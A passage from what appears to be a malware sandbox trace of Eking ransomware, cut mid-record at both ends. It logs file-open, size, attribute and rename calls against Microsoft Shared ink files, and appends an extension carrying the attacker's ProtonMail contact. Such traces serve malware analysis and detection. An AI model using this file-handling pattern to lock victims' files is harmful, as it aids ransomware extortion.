(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.457] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3584) returned 1 [0167.457] CloseHandle (hObject=0x1e4) returned 1 [0167.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0167.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0167.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.458] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1367552) returned 1 [0167.458] CloseHandle (hObject=0x1e4) returned 1 [0167.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll")) returned 0x20 [0167.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll")) returned 0x20 [0167.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.459] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3584) returned 1 [0167.459] CloseHandle (hObject=0x1e4) returned 1 [0167.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0167.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0167.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.461] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4096) returned 1 [0167.461] CloseHandle (hObject=0x1e4) returned 1 [0167.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0167.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0167.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.462] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4096) returned 1 [0167.462] CloseHandle (hObject=0x1e4) returned 1 [0167.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0167.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0167.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.464] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1704448) returned 1 [0167.464] CloseHandle (hObject=0x1e4) returned 1 [0167.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20 [0167.464] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0167.464] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0 [0167.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.465] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=507904) returned 1 [0167.465] CloseHandle (hObject=0x1e4) returned 1 [0167.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0167.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0167.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.465] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1547264) returned 1 [0167.466] CloseHandle (hObject=0x1e4) returned 1 [0167.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0167.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0167.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.466] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=6331392) returned 1 [0167.466] CloseHandle (hObject=0x1e4) returned 1 [0167.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0167.467] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0167.467] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0 [0167.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.470] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=49664) returned 1 [0167.470] CloseHandle (hObject=0x1e4) returned 1 [0167.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0167.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0167.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.471] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1071616) returned 1 [0167.471] CloseHandle (hObject=0x1e4) returned 1 [0167.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0167.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0167.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.472] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3584) returned 1 [0167.472] CloseHandle (hObject=0x1e4) returned 1 [0167.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0167.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0167.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.473] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3584) returned 1 [0167.473] CloseHandle (hObject=0x1e4) returned 1 [0167.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0167.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0167.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.477] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4096) returned 1 [0167.477] CloseHandle (hObject=0x1e4) returned 1 [0167.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0167.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0167.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.479] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3584) returned 1 [0167.479] CloseHandle (hObject=0x1e4) returned 1 [0167.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0167.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0167.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.480] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4096) returned 1 [0167.480] CloseHandle (hObject=0x1e4) returned 1 [0167.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program 